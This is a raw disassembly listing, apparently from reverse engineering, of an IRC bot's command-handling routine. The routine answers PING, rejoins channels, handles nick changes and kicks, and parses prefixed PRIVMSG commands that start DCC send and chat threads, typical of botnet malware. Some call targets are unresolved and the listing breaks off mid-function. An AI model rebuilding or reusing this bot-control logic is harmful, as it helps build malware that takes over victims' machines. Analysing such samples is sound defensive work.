var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = dword ptr -1508h
var_1504 = byte ptr -1504h
var_14F4 = byte ptr -14F4h
var_1474 = byte ptr -1474h
var_13F4 = dword ptr -13F4h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = dword ptr -13D8h
var_13D4 = byte ptr -13D4h
var_1354 = byte ptr -1354h
var_12D4 = byte ptr -12D4h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1238 = dword ptr -1238h
var_1230 = byte ptr -1230h
var_11B0 = byte ptr -11B0h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1128 = dword ptr -1128h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_108C = byte ptr -108Ch
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = dword ptr -0FECh
var_FE8 = byte ptr -0FE8h
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = dword ptr -0F58h
var_F54 = byte ptr -0F54h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = dword ptr -0EC4h
var_EC0 = byte ptr -0EC0h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = dword ptr -0E34h
var_E30 = byte ptr -0E30h
var_E10 = byte ptr -0E10h
var_E00 = byte ptr -0E00h
var_D80 = dword ptr -0D80h
var_D7C = byte ptr -0D7Ch
var_CFC = byte ptr -0CFCh
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = dword ptr -0C5Ch
var_C58 = dword ptr -0C58h
var_C54 = byte ptr -0C54h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = byte ptr -0A94h
var_A14 = dword ptr -0A14h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4C8 = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_338 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
var_308 = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = byte ptr -2C4h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 5D88h
call sub_41BB20
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C8], ebx
call sub_41B590
push 1Bh
lea eax, [ebp+var_338]
push [ebp+arg_10]
push eax
call sub_41B5F0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_401E94
push esi
lea eax, [ebp+var_4488]
push ebx
push eax
call sub_41B590
dec esi
lea eax, [ebp+var_4488]
push esi
push [ebp+arg_0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4488]
push offset asc_42CA30 ; " :"
push eax
call sub_41B900
mov [ebp+var_C], eax
lea eax, [ebp+var_4488]
push esi
push eax
lea eax, [ebp+var_4AF0]
push eax
call sub_41B5F0
mov esi, offset asc_42CA2C ; " "
lea eax, [ebp+var_4AF0]
push esi
push eax
call sub_41C0F4
add esp, 34h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+var_A8], 1Fh
loc_401BA0: ; CODE XREF: sub_401ACD+E7j
push esi
push ebx
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_401BA0
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401E94
cmp [ebp+var_8C], ebx
jz loc_401E94
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401BEE: ; CODE XREF: sub_401ACD+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_401C1A
cmp byte ptr [eax], 2Dh
jnz short loc_401C22
cmp [eax+2], bl
jnz short loc_401C22
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401C1A: ; CODE XREF: sub_401ACD+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401BEE
loc_401C22: ; CODE XREF: sub_401ACD+12Aj
; sub_401ACD+12Fj
cmp [ebp+var_8ED], bl
jz short loc_401C2D
mov [ebp+var_8], edi
loc_401C2D: ; CODE XREF: sub_401ACD+15Bj
cmp [ebp+var_8F2], bl
jz short loc_401C3B
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401C3B: ; CODE XREF: sub_401ACD+166j
cmp byte ptr [esi], 0Ah
jz short loc_401C75
push 7Fh
lea eax, [ebp+var_E00]
push esi
push eax
call sub_41B5F0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C4]
push eax
call sub_41B5F0
lea eax, [ebp+var_C4]
push offset asc_42CA28 ; "!"
push eax
call sub_41C0F4
add esp, 20h
loc_401C75: ; CODE XREF: sub_401ACD+171j
push esi
push offset aPing ; "PING"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401CC6
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_409A2C
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401D6A
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 10h
jmp loc_401D6A
; ---------------------------------------------------------------------------
loc_401CC6: ; CODE XREF: sub_401ACD+1B7j
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4099E0
push esi
push offset a005 ; "005"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4099E0
push esi
push offset a302 ; "302"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401D2E
push offset a@ ; "@"
push [ebp+var_84]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D6A
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_41B5F0
jmp short loc_401D67
; ---------------------------------------------------------------------------
loc_401D2E: ; CODE XREF: sub_401ACD+238j
push esi
push offset a433 ; "433"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401D71
push ebx
push dword_4290A0
push dword_42909C
push [ebp+arg_10]
call sub_40B08D
add esp, 10h
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2C
loc_401D67: ; CODE XREF: sub_401ACD+25Fj
add esp, 0Ch
loc_401D6A: ; CODE XREF: sub_401ACD+1D8j
; sub_401ACD+1F4j ...
mov eax, edi
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_401D71: ; CODE XREF: sub_401ACD+270j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 3
mov edi, 80h
loc_401D83: ; CODE XREF: sub_401ACD+2DBj
lea eax, [ebp+var_E00]
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401DA0
mov [ebp+var_A4], 1
loc_401DA0: ; CODE XREF: sub_401ACD+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_401D83
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_401E9C
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401DCF: ; CODE XREF: sub_401ACD+392j
cmp [esi], bl
jz loc_401E5A
push 7Fh
lea eax, [ebp+var_E00]
push esi
push eax
call sub_41B5F0
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_401E5A
cmp [ebp+var_84], ebx
jz short loc_401E5A
push [ebp+var_84]
lea eax, [ebp+var_C4]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401E5A
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C9BC
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_409A2C
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
add esp, 14h
loc_401E5A: ; CODE XREF: sub_401ACD+304j
; sub_401ACD+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401DCF
push [ebp+var_84]
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401E94
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401E89: ; CODE XREF: sub_401ACD+612j
; sub_401ACD+8D5j ...
push [ebp+arg_4]
call sub_409A2C
loc_401E91: ; CODE XREF: sub_401ACD+253Bj
; sub_401ACD+2558j ...
add esp, 10h
loc_401E94: ; CODE XREF: sub_401ACD+5Bj
; sub_401ACD+F1j ...
push 1
loc_401E96: ; CODE XREF: sub_401ACD+2A61j
pop eax
loc_401E97: ; CODE XREF: sub_401ACD+29Fj
; sub_401ACD+2A83j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401E9C: ; CODE XREF: sub_401ACD+2F2j
push esi
push offset aNick ; "NICK"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_401FF2
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_401EC5: ; CODE XREF: sub_401ACD+44Aj
lea eax, [ebp+var_E00]
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401F12
lea eax, [ebp+var_E00]
push 21h
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_401F12
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41BEB0
push [ebp+arg_1C]
push edi
call sub_41BEC0
add esp, 10h
mov edi, 80h
loc_401F12: ; CODE XREF: sub_401ACD+409j
; sub_401ACD+420j
add esi, edi
dec [ebp+arg_0]
jnz short loc_401EC5
lea eax, [ebp+var_C4]
test eax, eax
jz loc_401E94
cmp [ebp+arg_24], ebx
jz loc_401E94
push [ebp+arg_10]
lea eax, [ebp+var_C4]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401F5A
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_41B5F0
loc_401F52: ; CODE XREF: sub_401ACD+1C35j
add esp, 0Ch
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401F5A: ; CODE XREF: sub_401ACD+476j
mov edi, [ebp+arg_18]
xor esi, esi
loc_401F5F: ; CODE XREF: sub_401ACD+4B3j
cmp [edi], bl
jz short loc_401F76
lea eax, [ebp+var_E00]
push eax
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_401F87
loc_401F76: ; CODE XREF: sub_401ACD+494j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401F5F
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401F87: ; CODE XREF: sub_401ACD+4A7j
lea eax, [ebp+var_E00]
push 21h
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz loc_401E94
push eax
call sub_41AFE0
push [ebp+arg_24]
mov edi, eax
call sub_41AFE0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_401E94
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_41B886
push ebx
lea eax, [ebp+var_45EC]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_409A72
add esp, 24h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401FF2: ; CODE XREF: sub_401ACD+3DEj
push esi
push offset aPart ; "PART"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402014
push esi
push offset aQuit ; "QUIT"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40203B
loc_402014: ; CODE XREF: sub_401ACD+534j
mov edi, [ebp+arg_18]
xor esi, esi
loc_402019: ; CODE XREF: sub_401ACD+56Cj
cmp [edi], bl
jz short loc_40202F
push [ebp+var_90]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402083
loc_40202F: ; CODE XREF: sub_401ACD+54Ej
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402019
loc_40203B: ; CODE XREF: sub_401ACD+545j
push [ebp+var_8C]
push offset a353 ; "353"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4020E4
push [ebp+var_80]
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40206F
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40206F: ; CODE XREF: sub_401ACD+597j
push [ebp+var_80]
push offset unk_42C968
loc_402077: ; CODE XREF: sub_401ACD+28CCj
; sub_401ACD+2C4Cj ...
call sub_415220
loc_40207C: ; CODE XREF: sub_401ACD+1BE1j
pop ecx
loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj
pop ecx
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402083: ; CODE XREF: sub_401ACD+560j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C944
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
push [ebp+var_8C]
push offset aPart ; "PART"
call sub_41C070
add esp, 18h
test eax, eax
jnz loc_401E94
lea eax, [ebp+var_2C4]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4020E4: ; CODE XREF: sub_401ACD+582j
push [ebp+var_8C]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_41C070
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_402138
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402138
push [ebp+var_8C]
push offset dword_42C930
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409854
cmp dword_429088, ebx
jz loc_409854
loc_402138: ; CODE XREF: sub_401ACD+631j
; sub_401ACD+643j
push [ebp+var_8C]
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4022BE
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4022BE
mov eax, [ebp+var_84]
inc [ebp+var_80]
push 4
mov [ebp+var_88], eax
pop esi
mov [ebp+var_AC], esi
loc_40217C: ; CODE XREF: sub_401ACD+8ADj
; sub_401ACD+8E9j ...
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax
push offset dword_42C928
mov [ebp+arg_8], eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_402557
push [ebp+esi+var_8C]
push offset aSend_0 ; "SEND"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40241E
cmp [ebp+var_A4], ebx
jz loc_4023F7
push [ebp+esi+var_88]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+var_1B80]
push edi
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_1B94]
push [ebp+esi+var_84]
push edi
push eax
call sub_41B886
push [ebp+esi+var_80]
call sub_41B779
mov [ebp+var_19FC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1B9C], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_1A7C]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_19F4], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F0], eax
lea eax, [ebp+var_1A7C]
push eax
lea eax, [ebp+var_1B80]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C8EC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_19F8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1B9C]
push ebx
push eax
push offset loc_4161BC
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_19F8]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz loc_4023E6
loc_4022A8: ; CODE XREF: sub_401ACD+7EFj
cmp [ebp+var_19EC], ebx
jnz loc_4083BC
push 32h
nop
call near ptr 26703BBh
jmp short loc_4022A8
; ---------------------------------------------------------------------------
loc_4022BE: ; CODE XREF: sub_401ACD+67Bj
; sub_401ACD+691j
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4022D7
mov [ebp+var_4], 1
loc_4022D7: ; CODE XREF: sub_401ACD+801j
cmp [ebp+var_88], ebx
jz loc_401E94
push offset dword_42C8E8
push [ebp+var_88]
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4022FE
cmp [ebp+var_4], ebx
jz short loc_40230A
loc_4022FE: ; CODE XREF: sub_401ACD+82Aj
lea eax, [ebp+var_C4]
mov [ebp+var_88], eax
loc_40230A: ; CODE XREF: sub_401ACD+82Fj
cmp [ebp+var_84], ebx
jz loc_401E94
inc [ebp+var_84]
jz short loc_402356
cmp [ebp+arg_10], ebx
jz short loc_402356
lea eax, [ebp+var_338]
push eax
call sub_41AFE0
push eax
lea eax, [ebp+var_338]
push [ebp+var_84]
push eax
call sub_41BE70
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_40235C
; ---------------------------------------------------------------------------
loc_402356: ; CODE XREF: sub_401ACD+84Fj
; sub_401ACD+854j
mov esi, [ebp+var_AC]
loc_40235C: ; CODE XREF: sub_401ACD+887j
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401E94
push edi
push offset dword_42C8DC
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40217C
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz short loc_4023A7
mov eax, dword_4CAE28
mov eax, off_429164[eax*4]
cmp [eax], bl
jz short loc_4023A7
push eax
push ecx
push offset dword_42C8C0
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4023A7: ; CODE XREF: sub_401ACD+8BCj
; sub_401ACD+8CCj
push edi
push offset dword_42C8B8
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40217C
mov eax, [ebp+esi*4+var_8C]
cmp eax, ebx
jz loc_40217C
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz loc_40217C
push eax
push ecx
push offset dword_42C8A0
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4023E6: ; CODE XREF: sub_401ACD+7D5j
; sub_401ACD+7852j
nop
call near ptr 2670D70h
push eax
push offset unk_42C864
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_4023F7: ; CODE XREF: sub_401ACD+6F9j
lea eax, [ebp+var_C4]
push eax
push [ebp+esi+var_88]
push offset unk_42C820
loc_40240A: ; CODE XREF: sub_401ACD+7E29j
; sub_401ACD+7E90j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 10h
jmp loc_4083BC
; ---------------------------------------------------------------------------
loc_40241E: ; CODE XREF: sub_401ACD+6EDj
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40256D
cmp [ebp+var_A4], ebx
jz loc_402546
push 1Bh
call sub_40B33E
test eax, eax
pop ecx
jnz loc_402535
push [ebp+esi+var_84]
lea eax, [ebp+var_2AA8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
push [ebp+esi+var_80]
call sub_41B779
mov [ebp+var_2910], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB0], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_2990]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_2908], eax
mov eax, [ebp+var_8]
mov [ebp+var_2904], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C7F8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Bh
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_290C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB0]
push ebx
push eax
push offset byte_415C59
push ebx
push ebx
nop
call near ptr 267042Eh
mov ecx, [ebp+var_290C]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_402524
loc_40250E: ; CODE XREF: sub_401ACD+A55j
cmp [ebp+var_2900], ebx
jnz loc_4083BC
push 32h
nop
call near ptr 26703BBh
jmp short loc_40250E
; ---------------------------------------------------------------------------
loc_402524: ; CODE XREF: sub_401ACD+A3Fj
nop
call near ptr 2670D70h
push eax
push offset unk_42C7C0
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_402535: ; CODE XREF: sub_401ACD+982j
lea eax, [ebp+var_C4]
push eax
push offset unk_42C790
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_402546: ; CODE XREF: sub_401ACD+972j
lea eax, [ebp+var_C4]
push eax
push offset unk_42C75C
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_402557: ; CODE XREF: sub_401ACD+6D2j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_429094
mov [edi], ecx
jnz loc_401E94
loc_40256D: ; CODE XREF: sub_401ACD+966j
mov edi, [edi]
mov [ebp+arg_8], edi
push edi
mov edi, offset aK ; "k"
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40985C
push [ebp+arg_8]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40985C
cmp [ebp+var_A4], ebx
jnz short loc_4025BD
push [ebp+var_8C]
push offset dword_42C930
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409854
loc_4025BD: ; CODE XREF: sub_401ACD+AD4j
cmp [ebp+arg_28], ebx
jnz loc_409854
xor edi, edi
cmp dword_429230, ebx
jle loc_402772
mov [ebp+arg_20], offset dword_43D130
loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj
push [ebp+arg_8]
push [ebp+arg_20]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402601
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_429230
jl short loc_4025DB
jmp loc_402772
; ---------------------------------------------------------------------------
loc_402601: ; CODE XREF: sub_401ACD+B1Dj
push offset asc_42CA30 ; " :"
push [ebp+arg_0]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_401E94
mov cl, byte_429094
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_429094
mov [eax+3], cl
lea ecx, dword_43D148[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41B5F0
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_402656: ; CODE XREF: sub_401ACD+C3Aj
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_1 ; "$%d-"
push eax
call sub_41B886
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41B900
add esp, 14h
test eax, eax
jz short loc_4026C2
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_4026C2
lea eax, dword_43D130[edi]
push eax
call sub_41AFE0
add [ebp+var_C], eax
pop ecx
jz short loc_4026FD
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026FD
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEE
add esp, 0Ch
jmp short loc_4026FD
